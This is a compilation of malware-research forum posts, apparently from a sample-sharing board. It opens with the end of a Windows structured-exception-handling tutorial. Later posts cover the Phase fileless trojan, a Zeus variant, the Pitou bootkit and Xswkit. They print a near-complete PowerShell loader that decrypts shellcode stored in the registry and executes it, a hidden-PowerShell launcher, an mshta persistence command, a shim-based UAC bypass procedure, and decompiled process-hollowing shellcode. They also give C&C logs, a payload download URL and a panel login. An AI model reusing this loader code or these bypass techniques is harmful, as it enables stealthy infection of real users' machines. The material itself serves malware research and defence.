enclosed finally block retVal = TestFinallyFunc(); } __except( // Filter routine excCode = GetExceptionCode(), EXCEPTION_EXECUTE_HANDLER ) { wprintf(L"Exception 0x%08X in TestUnwinds.\r\n " L"\tThis message is not shown in a Collided Unwind.\r\n", excCode); } wprintf(L"TestUnwinds func exiting...\r\n"); return retVal; } // Test unwind and Collided Unwinds BOOLEAN TestFinallyFunc() { LPBYTE buff = NULL; BOOLEAN retVal = FALSE; BOOLEAN bPerformCollided = 0; // Let’s set this to 1 afterwards buff = (LPBYTE)VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE); do { __try { // Call Faulting subfunc with a bad buffer address retVal = FaultingSubfunc1(buff + 3590); // Produces CALL _local_unwind assembler code if (!retVal) return FALSE; // <-- 1. Perform a regular unwind // Produces JMP $LN17 label (finally block inside this function) //if (!retVal) __leave; } __finally { if (!_abnormal_termination()) wprintf(L"Finally handler for TestFinallyFunc: Great termination!\r\n"); else wprintf(L"Finally handler for TestFinallyFunc: Abnormal termination!\r\n"); if (buff) VirtualFree(buff, 0, MEM_RELEASE); if (bPerformCollided) { // ? 2. Perform COLLIDED Unwind // Here we go; first example of COLLIDED unwind goto Collided; // Second example of a collided unwind break; // Other example of collided unwind: return FALSE; } } Sleep(5000); } while (!retVal); return TRUE; collided: wprintf(L"Collided unwind: \"Collided\" exit label.\r\n"); return 0; // Std_Exit: } The example shows some concepts explained in this analysis. TestUnwinds is the main routine that implements a structured exception handler. For this routine, a related RUNTIME_FUNCTION structure, followed by a C_SCOPE_TABLE, is generated by the compiler. The scope table entry contains either an handler, and a target valid pointers. The protected code block transfers execution to the TestFinallyFunc procedure. The latter shows how a normal unwind works: when FaultingSubfunc1 raises an exception, a normal stack unwind takes place: the stack is unwound and the first __finally block is reached. Keep in mind that in this case only the code in the __finally block is executed (the line with the “Sleep” call is never reached), then the stack frame unwind goes ahead till the __except block (exception handler) of the main TestUnwinds procedure. This is the normal unwind process. A normal unwind process can even be manually initiated, forcing the exit from a try block: the “return FALSE;“ line in the __try block is roughly translated by the compiler to the following: mov byte ptr [bAutoRetVal], 0 lea rdx, $LN21 mov rcx,qword ptr [pCurRspValue] call _local_unwind $LN21: mov al, byte ptr [bAutoRetVal] goto Std_Exit The compiler uses the _local_unwind function to start the stack unwind. The _local_unwind function is only a wrapper to the internal routine RtlUnwindEx, called with only the first 2 parameters: TargetFrame is set to the current RSP value after the function prolog; TargetIp is set to the exit code chunk pointer as highlighted above... This starts a local unwind that transfers execution to the __finally block and then returns to the caller. The stack unwind process is quite an expensive operation. This is why Microsoft encourages the use of the “__leave” keyword to exit from a protected code block. The “__leave” keyword is actually translated by the compiler as a much faster “jmp FINALLY_BLOCK” opcode (no stack unwind). Now let’s test what happens when a bPerformCollided variable is set to 1…. In the latter case, FaultingSubfunc1 has already launched a stack unwind (due to an exception) that has reached the inner __finally block. The three examples of collided unwind code lines generate quite the same assembler code like the manually initialized normal stack unwind (but with a different TargetIp pointer). What happens now? A stack unwind process begins from an already started unwind context. As result, the RtlpUnwindHandler internal Nt routine (the handler associated with RtlpExecuteHandlerForUnwind) manages this case. It restores the original DISPATCHER_CONTEXT structure (except the TargetIp pointer) and returns ExceptionCollidedUnwind constant to the caller (the second call to RtlUnwindEx). We don’t cover the nitty gritty implementation details here, but we encourage the reader to check the Skywing articles (http://www.nynaeve.net/?p=113). A side effect of the Collided unwinds in the SEH implementation is that we lose the parent function exception handler: the code flow is diverted and the compiler informs the developer with the C4532 warning message. The message located in the TestUnwinds exception handler routine of our example is indeed never executed when a collided unwind occurs. Conclusion In this blog post we took a hard look at the implementation of the Windows 8.1 64-bit Structured Exception handling. We even analysed one of the most important concepts related to SEH: the stack unwind process, and two of its particular cases. The implementation of the last case, the so called “Collided unwind”, is very important for the Windows 8.1 Kernel, because the Kernel Patch Protection feature uses it heavily, rendering its analysis much more complicated. In the next blog post we will talk about how Patchguard is implemented in Windows 8.1. I'll also go over how the Uroburos rootkit defeated Patchguard in Windows 7 and how those techniques no longer work on Windows 8.1. Stay tuned! Source
-
- 1
-
-
Hi, found a new trojan which call itself fileless. It injects RC4 encrypted code into explorer.exe, hooks NtQueryDirectoryFile with HLT-hook for hiding, uses (base64-decoded) Powershell stored in regedit and it's encrypted with RC4 and random key. Uses same technique as Poweliks for startup in regedit. AV-detection is very bad: https://www.virustotal.com/en/file/438258d0710ddbb280a5a1ed801392a5194eaece16ba85591fe5eb4815bf56a8/analysis/1418147310/ Test Panel: http://phasesupport.com/phase/login.php - Phase:Phase Powershell script: $sRegistryKey = 'HKCU:\Software\Microsoft\Active Setup\Installed Components\{72507C54-3577-4830-815B-310007F6135A}'; [Byte[]]$bKey = [System.Text.Encoding]::ASCII.GetBytes("Phase"); $sCode = @" [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, Byte[] lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] public static extern bool VirtualProtect(Byte[] lpAddress, uint dwSize, uint flNewProtect, [Out] IntPtr lpflOldProtect); [DllImport("kernel32.dll")] public static extern uint WaitForSingleObject(IntPtr hHandle, int dwMilliseconds); "@ $pFunctions = Add-Type -memberDefinition $sCode -Name "Win32" -namespace Win32Functions -passthru [Byte[]]$bShellCode; if ([IntPtr]::Size -eq 8) { # Load Encrypted x64 Shellcode From Registry $bShellCode = (Get-ItemProperty -Path $sRegistryKey -Name Rc4Encoded64).Rc4Encoded64; }else{ # Load Encrypted x86 Shellcode From Registry $bShellCode = (Get-ItemProperty -Path $sRegistryKey -Name Rc4Encoded32).Rc4Encoded32; } [Byte[]]$s = New-Object Byte[] 256; [Byte[]]$k = New-Object Byte[] 256; for ($i = 0; $i -lt 256; $i++){ $s[$i] = [Byte]$i; $k[$i] = $bKey[$i % $bKey.Length]; } $j = 0; for ($i = 0; $i -lt 256; $i++){ $j = ($j + $s[$i] + $k[$i]) % 256; $s[$i] = $s[$j]; $s[$j] = $bSwap; } $i = 0; $j = 0; for ($x = 0; $x -lt $bShellCode.Length; $x++){ $i = ($i + 1) % 256; $j = ($j + $s[$i]) % 256; $bSwap = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $bSwap; [int]$t = ($s[$i] + $s[$j]) % 256; $bShellCode[$x] = $bShellCode[$x] -bxor $s[$t]; } $dwSize = $bShellCode.Length; if ($dwSize -gt 0x00000000){ [Int[]]$dwOldProt = 0x00000000; $pdwOldProt = [System.Runtime.InteropServices.Marshal]::UnsafeAddrOfPinnedArrayElement($dwOldProt,0) if ($pFunctions::VirtualProtect($bShellCode, $dwSize, 0x40, $pdwOldProt)){ $hThread = $pFunctions::CreateThread(0, 0, $bShellCode, 0, 0, 0); $pFunctions::WaitForSingleObject($hThread, -1); } } WSShell = new ActiveXObject("WScript.Shell"); sWindows = oWSShell.ExpandEnvironmentStrings("%windir%"); sPowerShell = sWindows + "\\system32\\windowspowershell\\v1.0\\powershell.exe"; oFile = new ActiveXObject("Scripting.FileSystemObject"); if (oFile.FileExists(sPowerShell)){ (oWSShell.Environment("Process"))("LoadShellCodeScript") = "iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('" + sPowerShellScript + "')))"; oWSShell.Run(sPowerShell + " iex $env:LoadShellCodeScript", 0, 1);} phase pass: infected Source
-
Undefined Zeus Variant. Attached. https://www.virustotal.com/file/c5f191aca844902a4d0d677beb27f03d629a9976d7e37a5e00928f603a14a544/analysis/ It's being pushed in ES and JP by the group that was using Blackhole then Nuclear to push Citadel then Kins and focusing on JP (Mainly) and DE sometimes. (they got some attention after TrendMicro post here http://blog.trendmicro.com/trendlabs-security-intelligence/citadel-makes-a-comeback-targets-japan-users/ Featured many times here, for instance : http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1465&start=80#p21178 ) [[Edit : After Discussion with Horgh...some of those C&C call could be result from Second stage...and attached sample being Andromeda Working on grabbing that 2nd Stage. ]] C&C call (bypassing proxy, which is not the case with Kins): 11/29/2014-06:08:36.922258 bruonlinearchive.com [**] / [**] Mozilla/6.0 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 119456 bytes [**] [Remove]:1038 -> 62.76.189.99:80 11/29/2014-06:08:41.012229 bruonlinearchive.com [**] /www/ [**] Mozilla/6.2 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 115088 bytes [**] [Remove]:1044 -> 62.76.189.99:80 11/29/2014-06:08:43.910800 bruonlinearchive.com [**] /www/ [**] Mozilla/6.2 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 126184 bytes [**] [Remove]:1044 -> 62.76.189.99:80 11/29/2014-06:08:45.351476 bruonlinearchive.com [**] /www/ [**] Mozilla/6.2 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 944 bytes [**] [Remove]:1044 -> 62.76.189.99:80 11/29/2014-06:08:48.655992 bruonlinearchive.com [**] /www/ [**] Mozilla/7.1 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 140765 bytes [**] [Remove]:1044 -> 62.76.189.99:80 11/29/2014-06:08:49.754737 bruonlinearchive.com [**] /www/ [**] Mozilla/7.1 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 37097 bytes [**] [Remove]:1044 -> 62.76.189.99:80 11/29/2014-06:08:50.757641 bruonlinearchive.com [**] /www/ [**] Mozilla/7.1 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 3840 bytes [**] [Remove]:1044 -> 62.76.189.99:80 11/29/2014-06:08:51.760878 bruonlinearchive.com [**] /www/ [**] Mozilla/7.1 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 3664 bytes [**] [Remove]:1044 -> 62.76.189.99:80 11/29/2014-06:09:14.894118 www.google.com [**] /webhp [**] Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727) [**] <no referer> [**] GET [**] HTTP/1.1 [**] 302 => http://www.google.is/webhp?gws_rd=cr&ei=abd5VOnXFsXYywOQ_4GYCg [**] 263 bytes [**] [Remove]:1059 -> 74.125.230.144:80 11/29/2014-06:09:15.794963 www.google.is [**] /webhp?gws_rd=cr&ei=abd5VOnXFsXYywOQ_4GYCg [**] Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727) [**] <no referer> [**] GET [**] HTTP/1.1 [**] 302 => https://www.google.is/webhp?gws_rd=cr,ssl&ei=abd5VOnXFsXYywOQ_4GYCg [**] 268 bytes [**] [Remove]:1060 -> 74.125.230.151:80 11/29/2014-06:09:18.198447 fastnestfestival.com [**] /www/ [**] Mozilla/7.1 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 96 bytes [**] [Remove]:1065 -> 62.76.189.99:80 11/29/2014-06:09:19.270556 bruonlinearchive.com [**] /www/ [**] Mozilla/7.2 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 9417 bytes [**] [Remove]:1044 -> 62.76.189.99:80 11/29/2014-06:09:20.602042 fastnestfestival.com [**] /www/ [**] Mozilla/7.2 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 80 bytes [**] [Remove]:1065 -> 62.76.189.99:80 dcffde96291fe5fba261292106988810_ce276ab104b96389075f39d635aa29f0_undefined.zip Pass: infected Source
-
Sample is courtesy kafeine blog. http://malware.dontneedcoffee.com/2014/07/ctb-locker.html Removed VB trash in partial unpack. CBT_Locker_partial_unpack.7z b3c92d7a9dead6011f3c99829c745c384dd776d88f57bbd60bc4f9d66641819b.7z Source
-
CF: http://www.virusradar.com/en/Win32_Bedep.A/description http://malware.dontneedcoffee.com/2014/08/angler-ek-now-capable-of-fileless.html and this : Here are samples (sorry only one 64 bits....but is distributed in 64bits too). Win32_Bedep_2014-09-29.zip Pass: infected Source
-
remark start 2010 year FakeAV 2011 year FakeAV 2012 year FakeAV 20132010 year FakeAV remark end Windows Accelerator Pro https://www.virustotal.com/en/file/69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e/analysis/1388598425/ http://web-sniffer.net/index.php?url=http%3A%2F%2Fzocrxiyds.freetzi.com%2F1.php&submit=Submit&http=1.1&type=GET&uak=0 Network activities http://zocrxiyds.freetzi.com/1.php • dns: 1 ›› ip: 69.162.82.253 - adresse: ZOCRXIYDS.FREETZI.COM http://c3913c6c.webantiviruslk.pl/index.html • dns: 1 ›› ip: 109.236.86.172 - adresse: C3913C6C.WEBANTIVIRUSLK.PL --- http://93.115.82.248/?0=1&1=1&2=9&3=i&4=2600&5=1&6=1111&7=obqrhutjgv http://93.115.82.248/?0=1&1=1&2=9&3=p&4=2600&5=1&6=1111&7=obqrhutjgv http://94.185.80.155/customgate2/?callback=jQuery17203112214965869417_1388599195453&name=Xylibox+Labs&email=xylitol%40malwareint.com&num=4111111111111111&cvv=147&year=2017&month=05&phone=3-478-856-54-05&address=123+winlocker+street&country=FRA&state=XX&zip=75000&option=0&support=false&id=1&sub_id=1&install_id=obqrhutjgv&project_id=9&serial=EWBWF-QYHBS-XGTGK-EH0A&_=1388599353015 http://94.185.80.155/customgate2/process/?callback=jQuery17203112214965869417_1388599195454&transaction_id=646959059412b4308a4c613844951708&_=1388599356453 http://94.185.80.155/customgate2/process/?callback=jQuery17203112214965869417_1388599195455&transaction_id=646959059412b4308a4c613844951708&_=1388599359469 http://94.185.80.155/customgate2/process/?callback=jQuery17203112214965869417_1388599195456&transaction_id=646959059412b4308a4c613844951708&_=1388599362469 http://94.185.80.155/customgate2/process/?callback=jQuery17203112214965869417_1388599195457&transaction_id=646959059412b4308a4c613844951708&_=1388599365469 http://94.185.80.155/customgate2/process/?callback=jQuery17203112214965869417_1388599195458&transaction_id=646959059412b4308a4c613844951708&_=1388599368469 http://93.115.82.248/?0=1&1=1&2=9&3=p&4=2600&5=1&6=1111&7=obqrhutjgv fakeav://payandsec.com/p/?group=sgp&nid=9A93E62D&affid=85700&lid=0040&ver=0040 https://www.virustotal.com/en/ip-address/178.162.199.33/information/ fakeav://sgpsupport.com/ https://www.virustotal.com/en/ip-address/178.162.199.33/information/ https://www.virustotal.com/en/ip-address/185.12.116.45/information/ FakeAV 2014 Pass: infected Source
-
Legacy BIOS MBR WinNT bootkit. Purpose: kernel mode spambot. MBR: This sample: https://www.virustotal.com/en/file/c0150e2041cdfde60121e0fa0fc8247628a9573565a1ccd2d1a0251efbaf749c/analysis/1420199827/ old December analyzed Pitou build: https://www.virustotal.com/en/file/269f35c31bbbc3d18dc055712d535b2ebd8efdc13863b9d4165b6b1878b251ba/analysis/ Current sample doesn't use 0xDEADBEEF as xor key and looks a little bit simplified. Hooks IRP_MJ_DEVICE_CONTROL and IRP_MJ_INTERNAL_DEVICE_CONTROL for the disk port driver and several routines in NDIS driver by splicing. Contain antiVM similar to Win32/Avatar lolkit -> MmMapIoSpace and lookup for known VM vendors/products names. 31.184.236.83/crypted.ff.exe HTTP/1.1 200 OK Date: Fri, 02 Jan 2015 0X:XX:XX GMT Server: Apache/2.2.22 (Debian) Last-Modified: Sat, 27 Dec 2014 11:56:11 GMT ETag: "26009a-7da00-50b3153deb85e" Accept-Ranges: bytes Content-Length: 514560 Connection: close Content-Type: application/x-msdos-program Bootkit data storage: Located at the end of the system disk in unpartitionable space. Structure is simple -> initialization code, copy of original mbr used for faking while filtering I/O requests and next lolkit driver. Depending on mode there will be x86-32 driver or x64 version of the same trash. VT scans: dropper (dotnet crypter) https://www.virustotal.com/en/file/09b5c048eb5dce6050f6d092c1cb77aa0bfcc9e639d351c68d8aba62b98d2488/analysis/1420203568/ for x64 driver https://www.virustotal.com/en/file/bbc326da0462bddf11c5cb07f0f9a5af7971f28c140a62e9f5e9f0d425878054/analysis/1420202247/ for x86-32 driver https://www.virustotal.com/en/file/403fa0744a914ecf1f369f0584358f889cdc77ac45d44f041f58ffd35067daa0/analysis/1420202266/ Previously analyzed Pitou variant used xor encryption over these data with hardcoded 0xDEADBEEF key, decrypting contents of bootkit code upon bootkit MBR execution. This one stores data without any encryption. Small code for decoding bootkit data used for previous version/build #include <windows.h> #include <intrin.h> #define DATASIZE 0x6c000 //0x78c00 for x64 void main() { HANDLE f; DWORD iobytes; DWORD *buffer, s0 = 0xdeadbeef; ULONG c; f = CreateFile(TEXT("c:\\malware\\pitou\\uspace_32.dat"), GENERIC_READ | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if ( f != INVALID_HANDLE_VALUE ) { buffer = (DWORD *)VirtualAlloc(NULL, DATASIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if ( buffer != NULL ) { ReadFile(f, buffer, DATASIZE, &iobytes, NULL); for (c=0; c<(DATASIZE/4); c++) { buffer[c] = buffer[c] ^ s0; s0 = _rotr(s0, 1); } } CloseHandle(f); f = CreateFile(TEXT("c:\\malware\\pitou\\uspace_32.dmp"), GENERIC_ALL | SYNCHRONIZE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL); if ( f != INVALID_HANDLE_VALUE ) { WriteFile(f, buffer, DATASIZE, &iobytes, NULL); CloseHandle(f); } VirtualFree(buffer, 0, MEM_RELEASE); } ExitProcess(0); } Pitou dropper + extracted drivers in attach, upon successful installation it will force Windows reboot by NtShutdownSystem call. For direct disk access during installation dropper uses IOCTL_SCSI_PASS_THROUGH request. P.S. F-Secure coverage of earlier Pitou version https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf Pitou UAC bypass reconstructed method UACMe - Defeating Windows User Account Control', however this particular dropper seems unable to bypass UAC. Pitou.rar Pass: infected Source
-
Credits for sample to Tigzy and R136a1, preliminary analysis done by R136a1. Win32/Xswkit is another clone of Win32/Poweliks but with number of additions, such as embedded UAC bypass and different startup method (rundll + mshta.exe). Purpose: malware downloader. Update 04/01/2015 See viewtopic.php?p=24827#p24827 UAC bypass is similar to used by Gootkit, reconstructed can be found -> here. During installation Xswkit builds shim database patch, drops it to %temp% folder and executes sdbinst with -q parameter and path to new database. Entry itself is shim RedirectEXE <DATABASE tid="0xf0" typ="LIST"> <TIME tid="0xf6" typ="QWORD">0x1d014b31a06ce99</TIME> <COMPILER_VERSION tid="0x100" typ="STRINGREF">2.1.0.3</COMPILER_VERSION> <NAME tid="0x106" typ="STRINGREF">qrywI9lBMKdLH</NAME> <OS_PLATFORM tid="0x10c" typ="DWORD">0x1</OS_PLATFORM> <DATABASE_ID tid="0x112" typ="BINARY" len="0x10" guid="1AC61212-7AC0-464A-8B9815BC2854072E" /> <LIBRARY tid="0x128" typ="LIST"> </LIBRARY> <EXE tid="0x12e" typ="LIST"> <NAME tid="0x134" typ="STRINGREF">cliconfg.exe</NAME> <APP_NAME tid="0x13a" typ="STRINGREF">nv0NK43fWQ</APP_NAME> <VENDOR tid="0x140" typ="STRINGREF">Microsoft</VENDOR> <EXE_ID tid="0x146" typ="BINARY" len="0x10" guid="E6D3E2BF-6CBF-0C43-B41AA519B962860C" /> <MATCHING_FILE tid="0x15c" typ="LIST"> <NAME tid="0x162" typ="STRINGREF">*</NAME> <COMPANY_NAME tid="0x168" typ="STRINGREF">Microsoft Corporation</COMPANY_NAME> <INTERNAL_NAME tid="0x16e" typ="STRINGREF">cliconfg.exe</INTERNAL_NAME> </MATCHING_FILE> <SHIM_REF tid="0x174" typ="LIST"> <NAME tid="0x17a" typ="STRINGREF">RedirectEXE</NAME> <COMMAND_LINE tid="0x180" typ="STRINGREF">"C:\Malware\1.exe" -z "C:\Users\UserMan\AppData\Local\Temp\AF293.tmp"</COMMAND_LINE> </SHIM_REF> </EXE> </DATABASE> So malware installation steps are following: 1) generate SDB shim patch and drop it to %temp% folder 2) register shim with sdbinst (no UAC prompt on default UAC settings) 3) run target application -> cliconfg.exe, terminate itself 4) cliconfg.exe (no UAC prompt on default UAC settings) executes malicious shim and starts malware dropper again with given commandline arguments 5) dropper installs itself to the system with full admin rights Below is R136a1 analysis he was so kind to share. Lets continue. Loader script is very huge (144kb) as it contains copy of mshta.exe, dynwrapx.dll, their manifests and shellcode, everything you will find in attach. How malware operates after reboot. It runs from Software\Microsoft\Windows\CurrentVersion\Run key by rundll32 which executes the following mshta "about:<title> </title><script>moveTo(-300,-300);resizeTo(0,0);</script><hta:application showintaskbar=no><script>eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\ xsw\\loader'));if(!window.flag)close()</script>" Hidden window with script that does next loading stage. Once executed it performs the following piece of code read from loader registry value at previous stage try { var DWX = new ActiveXObject(\"DynamicWrapperX\"); ExecuteShellCode(); function ExecuteShellCode(){ var CodeAddr = DWX.RegisterCode(ShellcodeHexStr, \"executeCode\", \"i=l\", \"r=l\"); DWX.executeCode(0); } Exit(); } catch(e) { SetupDWX(); } It attempts to create new ActiveXObject "DynamicWrapperX" which allows code execution, if it failed then it installs this additions in SetupDWX routine. function SetupDWX() { if (!FileExists(DefaultDir+\"mshta.exe\")) UnpackResource(\"mshta.exe\", DefaultDir +\"mshta.exe\"); if (!FileExists(DefaultDir+\"dynwrapx.dll\")) UnpackResource(\"dynwrapx.dll\", DefaultDir +\"dynwrapx.dll\"); if (!FileExists(DefaultDir+\"dynwrapx.sxs.manifest\")) UnpackResource(\"dynwrapx.sxs.manifest\", DefaultDir +\"dynwrapx.sxs.manifest\"); if (!FileExists(DefaultDir+\"mshta.exe.manifest\")) UnpackResource(\"mshta.exe.manifest\", DefaultDir +\"mshta.exe.manifest\"); WshShell.Run('\"'+DefaultDir+\"mshta.exe\\\" \\\"\"+HTARunCommand+'\"',0,0); Exit(); } Shellcode section also read from loader registry key and this is a final malware startup stage. Main purpose of it - read actual malware body stored in registry as binaryImageXX value data (where XX is platform -32 or 64), start suspended svchost.exe, unmap it original code, map malicious payload and run it. Shellcode uses API hashing and global shellcode description structure, dynamically allocated during execution. Below is API hashing function unsigned long get_hash(char *s) { unsigned long v1 = 0x1505; while (*s != 0) { v1 += *(unsigned char *)s + (v1 << 5); s++; } return v1; } shell context allocation routine struct_v23 *__cdecl CreateShellContext() { int hUser32; // eax@4 int v1; // eax@4 int v2; // eax@4 int v4; // [sp+0h] [bp-50h]@1 int v5; // [sp+4h] [bp-4Ch]@1 int v6; // [sp+8h] [bp-48h]@1 int v7; // [sp+Ch] [bp-44h]@1 int v8; // [sp+10h] [bp-40h]@1 int v9; // [sp+14h] [bp-3Ch]@1 int v10; // [sp+18h] [bp-38h]@1 int szAdvapi32; // [sp+1Ch] [bp-34h]@1 int v12; // [sp+20h] [bp-30h]@1 int v13; // [sp+24h] [bp-2Ch]@1 int v14; // [sp+28h] [bp-28h]@1 int szNtdll; // [sp+2Ch] [bp-24h]@1 int v16; // [sp+30h] [bp-20h]@1 int v17; // [sp+34h] [bp-1Ch]@1 int szUser32; // [sp+38h] [bp-18h]@1 int v19; // [sp+3Ch] [bp-14h]@1 int v20; // [sp+40h] [bp-10h]@1 int VirtualAlloc; // [sp+44h] [bp-Ch]@2 int hKernel32; // [sp+48h] [bp-8h]@1 struct_v23 *shell_ctx; // [sp+4Ch] [bp-4h]@1 shell_ctx = 0; v4 = 'e\0k'; v5 = 'n\0r'; v6 = 'l\0e'; v7 = '2\03'; v8 = 'd\0.'; v9 = 'l\0l'; v10 = 0; hKernel32 = GetModuleHandle(&v4); szNtdll = 'ldtn'; v16 = 'ld.l'; v17 = 'l'; szAdvapi32 = 'avda'; v12 = '23ip'; v13 = 'lld.'; v14 = 0; szUser32 = 'resu'; v19 = 'd.23'; v20 = 'll'; if ( hKernel32 ) { VirtualAlloc = ApiFromHash(hKernel32, 0x382C0F97u); if ( VirtualAlloc ) { shell_ctx = (VirtualAlloc)(0, 0xC4u, 0x3000u, 64); if ( shell_ctx ) { shell_ctx->hKernel32 = hKernel32; shell_ctx->VirtualAlloc = VirtualAlloc; shell_ctx->VirtualFree = ApiFromHash(shell_ctx->hKernel32, 0x668FCF2Eu); shell_ctx->Sleep = ApiFromHash(shell_ctx->hKernel32, 0xE19E5FEu); shell_ctx->LoadLibraryExA = ApiFromHash(shell_ctx->hKernel32, 0x4F803C78u); shell_ctx->CreateThread = ApiFromHash(shell_ctx->hKernel32, 0x7F08F451u); shell_ctx->lstrlenA = ApiFromHash(shell_ctx->hKernel32, 0xD2C4AB0Au); shell_ctx->GetProcAddress = ApiFromHash(shell_ctx->hKernel32, 0xCF31BB1Fu); shell_ctx->LocalFree = ApiFromHash(shell_ctx->hKernel32, 0xA66DF372u); shell_ctx->CloseHandle = ApiFromHash(shell_ctx->hKernel32, 0x3870CA07u); shell_ctx->GetCurrentProcess = ApiFromHash(shell_ctx->hKernel32, 0xCA8D7527u); shell_ctx->ExpandEnvironmentStringsW = ApiFromHash(shell_ctx->hKernel32, 0x7487495Bu); shell_ctx->CreateProcessW = ApiFromHash(shell_ctx->hKernel32, 0xAEB52E2Fu); shell_ctx->GetThreadContext = ApiFromHash(shell_ctx->hKernel32, 0xEBA2CFC2u); shell_ctx->ReadProcessMemory = ApiFromHash(shell_ctx->hKernel32, 0xB8932459u); shell_ctx->lstrcatW = ApiFromHash(shell_ctx->hKernel32, 0xD2BFAB79u); shell_ctx->ResumeThread = ApiFromHash(shell_ctx->hKernel32, 0x74162A6Eu); shell_ctx->SetThreadContext = ApiFromHash(shell_ctx->hKernel32, 0x7E20964Eu); shell_ctx->VirtualProtectEx = ApiFromHash(shell_ctx->hKernel32, 0xD812922Au); shell_ctx->WriteProcessMemory = ApiFromHash(shell_ctx->hKernel32, 0x6F22E8C8u); shell_ctx->VirtualAllocEx = ApiFromHash(shell_ctx->hKernel32, 0xF36E5AB4u); shell_ctx->hNtdll = shell_ctx->LoadLibraryExA(&szNtdll, 0, 0); shell_ctx->RtlCreateHeap = ApiFromHash(shell_ctx->hNtdll, 0xAFAAC189u); shell_ctx->RtlAllocateHeap = ApiFromHash(shell_ctx->hNtdll, 0xC0B381DAu); shell_ctx->RtlReAllocateHeap = ApiFromHash(shell_ctx->hNtdll, 0xBBC97911u); shell_ctx->RtlFreeHeap = ApiFromHash(shell_ctx->hNtdll, 0x70BA71D7u); shell_ctx->NtTerminateThread = ApiFromHash(shell_ctx->hNtdll, 0xAC3C9DC8u); shell_ctx->RtlDecompressBuffer = ApiFromHash(shell_ctx->hNtdll, 0xF73BBD46u); shell_ctx->NtOpenKey = ApiFromHash(shell_ctx->hNtdll, 0x4BB73E02u); shell_ctx->wcslen = ApiFromHash(shell_ctx->hNtdll, 0x24B549F1u); shell_ctx->NtUnmapViewOfSection = ApiFromHash(shell_ctx->hNtdll, 0x595014ADu); shell_ctx->hAdvapi32 = shell_ctx->LoadLibraryExA(&szAdvapi32, 0, 0); shell_ctx->RegOpenKeyExW = ApiFromHash(shell_ctx->hAdvapi32, 0x74A9772u); shell_ctx->ConvertSidToStringSidW = ApiFromHash(shell_ctx->hAdvapi32, 0x99A22DD7u); shell_ctx->RegSetValueExA = ApiFromHash(shell_ctx->hAdvapi32, 0x345872EAu); shell_ctx->RegQueryValueExA = ApiFromHash(shell_ctx->hAdvapi32, 0x6B95D114u); shell_ctx->RegOpenKeyExA = ApiFromHash(shell_ctx->hAdvapi32, 0x74A975Cu); shell_ctx->RegCreateKeyExA = ApiFromHash(shell_ctx->hAdvapi32, 0x46CEB39Eu); shell_ctx->RegCloseKey = ApiFromHash(shell_ctx->hAdvapi32, 0x736B3702u); shell_ctx->RegEnumKeyA = ApiFromHash(shell_ctx->hAdvapi32, 0xF367EA22u); shell_ctx->OpenProcessToken = ApiFromHash(shell_ctx->hAdvapi32, 0xC57BD097u); shell_ctx->GetTokenInformation = ApiFromHash(shell_ctx->hAdvapi32, 0x8ED47F2Cu); shell_ctx->IsValidSid = ApiFromHash(shell_ctx->hAdvapi32, 0x3D180391u); hUser32 = (shell_ctx->LoadLibraryExA)(&szUser32, 0, 0); shell_ctx->MessageBoxA = ApiFromHash(hUser32, 0x384F14B4u); shell_ctx->wsprintfA = ApiFromHash(hUser32, 0xF898B8C3u); shell_ctx->wsprintfW = ApiFromHash(hUser32, 0xF898B8D9u); shell_ctx->hHeap = shell_ctx->RtlCreateHeap(2, 0, 0, 0, 0); } } } return shell_ctx; } and svchost spawning code Strings from actual malware RtlCreateUserThread NtClose InternetReadFile HttpOpenRequestA InternetCloseHandle HttpSendRequestA InternetOpenA InternetConnectA HttpQueryInfoA InternetQueryOptionA InternetSetOptionA InternetSetFilePointer HttpAddRequestHeadersA L a s t H a r d w a r e H a s h b i n a r y I m a g e % d % s _ % d \ R E G I S T R Y \ U S E R \ % s \ R e g i s t r y \ U s e r % S y s t e m R o o t % \ S y s t e m 3 2 \ n t d l l . d l l RtlDecompressBuffer ntdll.dll RtlComputeCrc32 a p p h e l p . d l l SdbBeginWriteListTag SdbCloseDatabase SdbCloseDatabaseWrite SdbCommitIndexes SdbCreateDatabase SdbDeclareIndex SdbEndWriteListTag SdbFindFirstDWORDIndexedTag SdbFindFirstTag SdbFindNextTag SdbFormatAttribute SdbFreeFileAttributes 